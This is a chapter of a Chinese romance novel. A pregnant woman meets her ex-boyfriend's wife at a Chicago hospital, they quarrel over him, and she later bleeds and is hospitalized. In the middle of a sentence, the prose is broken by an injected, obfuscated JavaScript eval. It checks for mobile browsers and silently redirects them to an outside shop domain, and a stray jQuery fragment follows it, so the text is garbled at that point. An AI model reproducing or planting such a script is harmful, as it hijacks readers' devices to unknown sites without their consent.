林晚预约的产检在周三上午。
芝加哥三月的风已经没有骨头了，吹在脸上软绵绵的，像一块被洗了太多次的棉布。
路边的樱花还没开，但枝头上已经鼓起了密密麻麻的花苞，粉白色的，像无数只攥紧的小拳头。
她一个人来的。
陈屿洲说开车送她，她说不用。陈屿洲已经习惯了她的拒绝。
预约的时间是九点半，林晚到医院的时候还差十分钟。
电梯停在五楼，妇产科。走廊里弥漫着消毒水的味道。
两边的椅子上坐满了孕妇，肚子大大小小的，有的在刷手机，有的在吃零食，有的靠在伴侣的肩膀上打瞌睡。
她在走廊尽头的椅子上坐下来，从包里拿出一本杂志，翻开，一个字都没有读进去。
还不到三个月，肚子是平的，但有时候她会觉得那里有一个东西，像一粒种子在土里动了动。
她想，不管是谁的，都要把这个孩子生下来。这个决定她已经做了，不需要再想了。
走廊另一头传来婴儿的哭声，尖锐的、声嘶力竭的、像被人掐住了脖子。
哭声越来越近，伴随着一个女人轻柔的哄慰声：“好了好了，不哭了，念念乖，念念最勇敢了。”
林晚抬起头。
沈若棠站在走廊中间，怀里抱着一个浅粉色的襁褓。
她穿了一件宽松的米白色风衣，头发扎成一个低马尾，没有化妆，脸颊比怀孕的时候瘦了一些，颧骨的轮廓更分明了，但气色还好，嘴唇上有淡淡的血色。
怀里的婴儿脸皱巴巴的，眼睛闭着，嘴巴大张着，哭得整张脸都涨红了，像一只刚出锅的虾。
沈若棠也看见了林晚。
她走过来，在林晚旁边的椅子上坐下来。
“林晚？你怎么在这里？”
“产检。”
沈若棠的目光从林晚的脸上移到她的小腹上。风衣的扣子扣着，什么也看不出来。
“你怀孕了？”
“嗯。”
“多久了？”
“快三个月。”
沈若棠的手指在婴儿的襁褓上慢慢摩挲着，婴儿的哭声渐渐小了，变成断断续续的抽噎，像一台快要停下来的发动机，还在噗噗地喘气。
“孩子是陈屿洲的？”沈若棠问。
林晚看着她两秒钟。因为不想跟沈若棠解释太多，她只能含糊地发出一点声音。
“嗯。”
既不算认可，也没有否认。
但沈若棠以为这是一句认可，放心地点了点头。
“你呢？孩子怎么了？”林晚问。
“有点发烧。三十八度五。儿科在四楼，我走错了楼层。”沈若棠笑了一下。
婴儿又哭了一声，沈若棠低下头，把脸贴在婴儿的额头上。
“还是有点烫。我今天早上才发现她发烧了，许达不在家，我一个人开车送她来的。”
林晚不知道该说什么，走廊里的日光灯管嗡嗡响，像一群困在里面的苍蝇。
“林晚，我能问你一件事吗？”
“什么？”
沈若棠抬起头，看着林晚，眼眶有一点红，但眼泪没有掉下来。
“你最近……跟许达还有联系吗？”
“为什么这么问？”
“没什么。”沈若棠低下头，看着怀里的婴儿，“就是随便问问。他最近总是很晚才回家，有时候整夜不回来。我问他去哪了，他说在公司加班。但龙腾的人说，他最近很少去公司。”
她顿了一下。
“我知道他不喜欢我。他娶我是因为沈家不能离开龙堂。但我以为已经结婚，就是一个家庭了，他至少会在家多待一会儿。但他没有。他连女儿都不怎么抱，摆明了是要跟我们母女划清界限。”
婴儿在她怀里动了动，小手从襁褓里伸出来，手指细得像火柴棍，指甲小小的、透明的、像一片片贝壳。沈若棠把那只小手握在手心里，包住。
“林晚，你是不是觉得我很可怜？”
“没有。我觉得你很勇敢。换作是我，我不会嫁给一个不爱我的人。你嫁了，还要面对他的冷漠。”
沈若棠的眼泪终于掉下来了。
“我不清楚。我以为他会慢慢喜欢我。哪怕不是爱，喜欢也行。但他连喜欢都没有。”
林晚伸出手，轻轻拍了拍沈若棠的肩膀。她的手在沈若棠的肩膀上停了一下，然后收回来。
“我跟许达没有联系。他确实来找过我几次，说了一些话。但我没有回应他。我现在跟陈屿洲在一起，肚子里的孩子也是他的。我没有必要跟前男友纠缠不清，你放心好了。”
沈若棠擦了擦眼泪，抬起头看着林晚。
“你说的是真的？”
“我骗你干什么？你知道我的个性，我根本看不上许达那种优柔寡断的男人。所以你真的不用疑神疑鬼的。”
沈若棠看着林晚——眼神很坦荡，不像在撒谎。
沈若棠的心放下了一半，但还有一半悬着。她说不上来，只是觉得有什么东西不对劲。
许达最近的态度太奇怪了，每次提到林晚时脸上都闪过一丝慌乱，但她不想问，怕问出来，那个答案就收不回去了。
“林晚，谢谢你告诉我这些。”沈若棠站起来，把婴儿抱紧了一些，“我请你去喝杯东西吧。楼下有个咖啡厅，他们的热巧克力很好喝。你现在怀孕了，不能喝咖啡。”
林晚犹豫了一下。
她不想跟沈若棠走得太近，但沈若棠站在她面前，她不好拒绝。
“走吧。”林晚说。
医院的咖啡厅在一楼，靠近急诊室入口。地方不大，只有五六张桌子。
沈若棠把婴儿放在旁边的小篮子里。
“你喝什么？”沈若棠问。
“热牛奶。”
沈若棠去吧台点单，林晚坐在椅子上，看着小篮子里的婴儿。
婴儿睡着了，嘴唇微微张开，露出粉色的牙龈，鼻翼轻轻翕动着，像一只小猫在闻什么东西。
沈若棠端着一个托盘回来了。一杯热牛奶，一杯热巧克力，还有一块蛋糕，巧克力味的，切成三角形，盘子的边缘用巧克力酱画了一个歪歪扭扭的心形。
“蛋糕是送的。那个服务员说今天有活动，买两杯饮料送一块蛋糕。”沈若棠把热牛奶推到林晚面前，自己端起热巧克力，喝了一口。嘴唇上沾了一层奶沫，她用纸巾擦了擦，纸巾上留下一道浅棕色的痕迹。
“你产检结果怎么样？”沈若棠问。
“一切正常。”
“那就好。”沈若棠用叉子切了一小块蛋糕，放进嘴里，“你打算跟陈屿洲结婚吗？毕竟孩子都有了。”
林晚端起热牛奶，喝了一口。
“还没想好。”
“他没求婚吗？”
“求了。好几次。”
“那你为什么不答应？”
“因为我不确定自己想不想结婚。”林晚说。
沈若棠的手指在杯沿上慢慢划着。
“林晚，你老实跟我说，你跟许达真的没有再联系了？”
林晚放下牛奶杯，看着沈若棠。
“沈若棠，你到底想问什么？你从刚才就一直问许达的事。我说了没有，你不信。你既然不信，为什么还要问我？”
沈若棠的手指停住了。
“我没有不信。我只是——”
“你只是什么？你只是觉得许达最近对你冷淡，所以怀疑他在外面有人。然后你第一个想到的就是我。因为你心里一直觉得，许达喜欢的是我，不是你。”
沈若棠的脸白了。嘴唇上的血色褪了下去，嘴唇微微张开，像想说什么，但说不出。
“沈若棠，我跟你把话说清楚。我不喜欢许达。他有老婆孩子，我也有男朋友。我不会跟他有任何超出正常社交范围的联系。你不用疑神疑鬼的，我也不想被你当成假想敌。”
沈若棠的眼眶红了。
“林晚，我不是——”
“你是什么不重要。重要的是，你把心思放在自己老公身上，别放在我身上。”
林晚端起热牛奶，一口喝完。牛奶已经凉了，喝起来像兑了水的奶粉，淡淡的，什么味道都没有。
她放下杯子，站起来。
“我先走了。你慢慢喝。”
“林晚——”沈若棠叫住她，声音有些发颤，“对不起。我不是来质问你的。我只是……我只是太害怕了。我不想离婚。我不想念儿没有爸爸。我知道许达不喜欢我，但我不想失去他。”
沈若棠的眼泪终于掉下来了，一滴一滴地滴在热巧克力里，杯面上的奶沫被眼泪冲开了一个小洞，露出下面深棕色的液体。
婴儿在篮子里动了动，发出几声含糊的呢喃，像在梦里跟什么人说话。
林晚叹了口气，坐回来。
“你喝你的热巧克力。凉了就不好喝了。”
“沈若棠，我再说一遍，我跟许达真的没有任何关系。你要是不信，我也没办法。”
沈若棠点了点头。
“我信你。”
沈若棠把杯子里的热巧克力喝完，抱起篮子里的婴儿。
“我先走了。念儿还在发烧，我要去儿科。”
***
林晚走出咖啡厅的时候，小腹忽然抽了一下。
不是疼，是一种坠胀感，像有什么东西在往下沉。
她停下来，靠在走廊的墙上，用手按着小腹。墙是凉的，凉意透过风衣的布料，贴着腰侧的皮肤。
她等了几秒钟，坠胀感消失了。她以为是吃得太急了，胃不舒服，就没有在意。
走出医院大门的时候，芝加哥三月的中午，阳光已经有了温度。
她在门口的台阶上站了一会儿，让阳光晒了晒脸，从包里拿出车钥匙，走向停车场。
然后她感觉到了。
一股温热的液体从身体里流出来，顺着大腿内侧往下淌，像一根温暖的线，从她的身体里抽出来。
她低下头，看见自己的裤子上有一片深色的湿痕，正在慢慢扩大。不是水，是血。暗红色的，像凝固了很久又被加热过的红糖水，浓稠的，黏腻的。
血还在流，她能感觉到它的温度——比体温低一些，像一杯放凉了的茶，不烫，但温温的，从她身体里漏出来。
她的腿软了，手扶住旁边的一根柱子。
柱子是水泥的，粗糙的，掌心的皮肤被蹭破了，但她感觉不到疼。
她只是看着那片深色的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514377|202902||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
湿痕扩散，像一朵花在她裤子上慢慢开放。
脑子里一片空白，只有一个念头，像一根针尖上的光点，在她意识的最深处亮着。
孩子不能有事。
她想喊，但喉咙像被什么东西掐住了，发不出声音。她想走，但腿在发软，脚像踩在棉花上，每一步都像要摔倒。
她扶着柱子，慢慢蹲下来。地上有一小摊血，暗红色的，在灰白色的水泥地上很刺眼，像一幅画被泼了墨。
“林女士？林女士！”
一个穿粉色护士服的女人从医院大门里跑出来，在林晚面前蹲下来，手搭在她肩膀上。
“你怎么了？哪里不舒服？”
“出血了……我怀孕了……快三个月……”
护士的脸色变了。
“你等着，我去推轮椅。不要动，千万不要动。”
护士跑了，林晚蹲在那里，手按着小腹，感觉着那股温热的液体还在流，一滴一滴地滴在地上。
护士推着轮椅跑出来，后面跟着两个护工和一个穿白大褂的医生。
“把她扶上来，小心，动作轻一点。”
护工架着她的胳膊把她扶上轮椅，血已经浸透了裤子，把轮椅的座垫也染红了。
林晚被推进了急诊室。
“血压正常，心跳偏快，胎儿心跳正常。”医生看着监护仪上的数字，松了一口气，“出血量不大，应该没有大问题。先做B超，确认胎盘位置。”
B超的探头贴在她小腹上，冰凉的，凝胶是凉的，像一条蛇贴着她的皮肤。她看着天花板上的日光灯管，灯管嗡嗡响，光很白，白得刺眼。
“胎盘位置正常。没有前置胎盘。宫口没有开。目前看没有大问题。”医生把探头拿开，用纸巾擦掉她肚子上的凝胶，动作很轻。
“那为什么会出血？”林晚的声音在发抖。
“原因很多。过度劳累、情绪波动、饮食不当，都有可能导致出血。你最近有没有吃什么不该吃的东西？或者有没有摔倒、碰撞？”
“没有。什么都没有。”
医生点了点头。
“先住院观察几天。如果不是持续出血，问题不大。但如果再有出血，或者腹痛加剧，要立刻告诉我们。”
林晚被推进了住院部的病房。
三楼的单人病房不大，但很安静。
窗帘是浅蓝色的，拉了一半，窗外的天灰蒙蒙的。床头柜上放着一个白色的塑料壶和一只玻璃杯，杯子倒扣在壶盖上，防止落灰。
林晚躺在病床上，看着天花板。
门被推开一条缝，沈若棠站在门口，脸色白得像一张纸。
“你怎么来了？”林晚的声音很平。
“我……我刚才在儿科，听到护士在说五楼有个孕妇出血了……我一看……是你……”
“我没事。孩子也没事。你回去吧。”
沈若棠没有走。她走进来，在床边的椅子上坐下来。
“林晚，是不是我刚才让你生气了，所以——”
林晚看着沈若棠眼睛里那种惶恐的、恳求的、快要碎掉的表情，忽然觉得很累。
“跟你没关系。医生说是过度劳累。我最近加班太多了。”
沈若棠的眼泪掉下来了，一滴一滴地滴在她的大腿上。
“林晚，真的跟我没关系吗？”
“真的。你不用自责。你回去吧，念儿还在发烧，你不能离开太久。”
沈若棠坐在那里，没有动。
“林晚，我给陈屿洲打电话了。我跟他说你在医院出血了，让他赶紧来。”
林晚闭上了眼睛。她不想见陈屿洲，只想一个人待着。但沈若棠已经打了，说什么都晚了。
门开了。
陈屿洲冲进来，大衣没扣，脸上全是汗，眼睛里有血丝，嘴唇是干的，起了皮。
他跑到床边，蹲下来，握住林晚的手。
“林晚，你没事吧？孩子没事吧？”
“我没事。孩子也没事。”
陈屿洲站起来，转过头盯着沈若棠。
“沈若棠，是不是你搞鬼？怎么是你通知我的？你对林晚做了什么？”
沈若棠的脸白得透明。
“不是我。我没有。我只是跟林晚遇到，然后我们去喝了点东西……”
“这么巧？正好她产检的时候遇到你？还是说，你故意制造偶遇，就为了接近她？”陈屿洲的嘴角挂着冷笑。
“没有！我没有！”
林晚看了看沈若棠，又看了看陈屿洲。
“陈屿洲，你别乱说。沈若棠跟我确实是偶遇。而且，我们讲了几句无关紧要的话，也没有对我造成困扰。不要误会她了……”
陈屿洲张了张嘴，想说什么，但看到林晚的眼神，咽回去了。
沈若棠站起来，椅子往后一推，发出一声刺耳的声响。她走了两步，停下来，没有回头。
“林晚，我先走了。念儿还在等我。这件事……真的与我无关，你千万别跟许达讲，否则他会更加讨厌我。他现在讨厌我，都不需要理由和证据。”
沈若棠拉开门，走了出去。
林晚坐在沙发上，看着那扇关上的门，眼泪掉下来。
她不知道自己在哭什么。